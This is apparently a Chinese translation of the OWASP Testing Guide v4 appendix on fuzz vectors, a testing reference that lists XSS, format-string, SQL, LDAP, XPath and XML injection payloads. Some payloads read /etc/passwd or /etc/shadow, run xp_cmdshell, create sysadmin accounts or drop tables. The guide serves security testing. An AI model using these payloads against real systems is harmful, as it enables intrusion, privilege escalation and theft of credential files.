Owasp Testing Guide v4

附录 C: 模糊测试向量

下面是可以用于WebScarab, JBroFuzz, WSFuzzer, ZAP或者其它漏洞检测工具的漏洞检测向量。 漏洞检测是一种"混合情况"的方法,用来测试参数被操作时应用程序的反应。一般来说,我们寻找一个应用程序产生的错误情况,来作为漏洞检测的结果。这是发现阶段最简单的部分。一旦一个错误被发现,指出它并利用一个潜在的漏洞就需要技术了。

模糊测试分类

在无状态的网络协议(比如HTTP(S))中存在两大类别:

  • 递归漏洞检测
  • 可替换漏洞检测

我们在下面的子章节中分析和定义每种类别。

递归漏洞检测

递归漏洞检测可以被定义为检测一个字母表中的所有可能组合构成的请求的过程。考虑这个例子:

http://www.example.com/8302fa3b

选择8302fa3b作为在例如从{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}这样的16进制数字符集中构成的请求的一部分来进行针对检测。这将产生总共16^8个如下格式的请求:

http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff

可替换漏洞检测

可替换漏洞检测可以被定义为通过替换值对部分请求进行检测的过程。这个值我们称为漏洞检测向量。比如下面的例子:

http://www.example.com/8302fa3b

发送如下漏洞检测向量以测试跨站脚本攻击:

http://www.example.com/>"><script>alert("XSS")</script>&
http://www.example.com/'';!--"<XSS>=&{()}

这就是一种可替换漏洞攻击。在这个类别中,请求的总数依赖于指定的漏洞检测向量的数量。

本附录接下来将描述一系列的漏洞检测向量类别。

跨站脚本攻击(XSS)

XSS详情请见: 跨站脚本攻击 (XSS)

 >"><script>alert("XSS")</script>&
 "><STYLE>@import"javascript:alert('XSS')";</STYLE>
 >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
 alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)><br>
 >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
 '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
 ">
 >"
 '';!--"<XSS>=&{()}
 <IMG SRC="javascript:alert('XSS');">
 <IMG SRC=javascript:alert('XSS')>
 <IMG SRC=JaVaScRiPt:alert('XSS')>
 <IMG SRC=JaVaScRiPt:alert(&amp;quot;XSS<WBR>&amp;quot;)>
 <IMGSRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;<WBR>#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;<WBR>#116;&amp;#58;&amp;#97;
 &amp;#108;&amp;#101;&amp;<WBR>#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83<WBR>;&amp;#83;&amp;#39;&amp;#41>
 <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058
 &<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041><br>
 <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
 &<WBR>#x27&#x58&#x53&#x53&#x27&#x29><br>
 <IMG SRC="jav&amp;#x09;ascript:alert(<WBR>'XSS');">
 <IMG SRC="jav&amp;#x0A;ascript:alert(<WBR>'XSS');">
 <IMG SRC="jav&amp;#x0D;ascript:alert(<WBR>'XSS');">

缓冲区溢出和格式化字符串错误

缓冲区溢出(BFO)

缓冲区溢出或者内存坍塌攻击需要通过编程实现,它使得合法数据从内存的有限预分配存储空间中溢出。

缓冲区溢出详情请见: 缓冲区溢出测试

注意,尝试在一个漏洞检测程序中加载这样的定义文件可能会导致程序崩溃。

 A x 5
 A x 17
 A x 33
 A x 65
 A x 129
 A x 257
 A x 513
 A x 1024
 A x 2049
 A x 4097
 A x 8193
 A x 12288

格式化字符串错误(FSE)

格式化字符串攻击是一类与提供语言特殊格式标记相关的漏洞格式化字符串攻击是一类与提供语言特殊格式标记相关的漏洞,它可以执行二义性的代码或者令程序崩溃。检测这样的错误需要客观的检查未过滤的用户输入。

关于FSE的精彩介绍可以在一篇名为 Detecting Format String Vulnerabilities with Type Qualifiers的USENIX论文中找到。

注意,尝试在一个漏洞检测程序中加载这样的定义文件可能会导致程序崩溃。

 %s%p%x%d
 .1024d
 %.2049d
 %p%p%p%p
 %x%x%x%x
 %d%d%d%d
 %s%s%s%s
 %99999999999s
 %08x
 %%20d
 %%20n
 %%20x
 %%20s
 %s%s%s%s%s%s%s%s%s%s
 %p%p%p%p%p%p%p%p%p%p
 %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
 %s x 129
 %x x 257

整数溢出(INT)

整数溢出错误发生在当一个程序没有估计到一个算数操作会导致一个值大于数据类型的最大值,或者小于数据类型的最小值的时候。如果一个攻击者可以使得程序执行这样一个内存分配,那幺这个程序就有可能容易受到缓冲区溢出漏洞攻击。

 -1
 0
 0x100
 0x1000
 0x3fffffff
 0x7ffffffe
 0x7fffffff
 0x80000000
 0xfffffffe
 0xffffffff
 0x10000
 0x100000

SQL注入

这种攻击可以影响一个应用程序的数据库层,它典型的表现在当用户输入的SQL语句没有被过滤的时候。

SQL注入详情请见: SQL注入测试

SQL注入分为以下两类,依据是暴露数据库信息(被动)还是修改数据库信息(主动)。

  • 被动SQL注入
  • 主动SQL注入

主动SQL注入语句如果被执行将对底层的数据库造成有害的影响。

被动SQL注入(SQP)

 '||(elt(-3+5,bin(15),ord(10),hex(char(45))))
 ||6
 '||'6
 (||6)
 ' OR 1=1--
 OR 1=1
 ' OR '1'='1
 ; OR '1'='1'
 %22+or+isnull%281%2F0%29+%2F*
 %27+OR+%277659%27%3D%277659
 %22+or+isnull%281%2F0%29+%2F*
 %27+--+
 ' or 1=1--
 " or 1=1--
 ' or 1=1 /*
 or 1=1--
 ' or 'a'='a
 " or "a"="a
 ') or ('a'='a
 Admin' OR '
 '%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
 ) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
 ' having 1=1--
 ' having 1=1--
 ' group by userid having 1=1--
 ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
 ' or 1 in (select @@version)--
 ' union all select @@version--
 ' OR 'unusual' = 'unusual'
 ' OR 'something' = 'some'+'thing'
 ' OR 'text' = N'text'
 ' OR 'something' like 'some%'
 ' OR 2 > 1
 ' OR 'text' > 't'
 ' OR 'whatever' in ('whatever')
 ' OR 2 BETWEEN 1 and 3
 ' or username like char(37);
 ' union select * from users where login = char(114,111,111,116);
 ' union select
 Password:*/=1--
 UNI/**/ON SEL/**/ECT
 '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
 '; EXEC ('SEL' + 'ECT US' + 'ER')
 '/**/OR/**/1/**/=/**/1
 ' or 1/*
 +or+isnull%281%2F0%29+%2F*
 %27+OR+%277659%27%3D%277659
 %22+or+isnull%281%2F0%29+%2F*
 %27+--+&password=
 '; begin declare @var varchar(8000) set @var=':' select @[email protected]+'+login+'/'+password+' ' from users where login >
 @var select @var as var into temp end --<br>
 ' and 1 in (select var from temp)--
 ' union select 1,load_file('/etc/passwd'),1,1,1;
 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
 ' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

主动SQL注入(SQI)

 '; exec master..xp_cmdshell 'ping 10.10.1.2'--
 CREATE USER name IDENTIFIED BY 'pass123'
 CREATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
 ' ; drop table temp --
 exec sp_addlogin 'name' , 'password'
 exec sp_addsrvrolemember 'name' , 'sysadmin'
 INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
 GRANT CONNECT TO name; GRANT RESOURCE TO name;
 INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
 + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

LDAP注入

LDAP注入详情请见: LDAP注入测试

 |
 !
 (
 )
 %28
 %29
 &
 %26
 %21
 %7C
 *|
 %2A%7C
 *(|(mail=*))
 %2A%28%7C%28mail%3D%2A%29%29
 *(|(objectclass=*))
 %2A%28%7C%28objectclass%3D%2A%29%29
 *()|%26'
 admin*
 admin*)((|userPassword=*)
 *)(uid=*))(|(uid=*

XPATH注入

XPATH注入详情请见: XPATH注入测试

 '+or+'1'='1
 '+or+''='
 x'+or+1=1+or+'x'='y
 /
 //
 //*
 */*
 @*
 count(/child::node())
 x'+or+name()='username'+or+'x'='y

XML注入

XML注入详情请见: XML注入

 <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
 <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>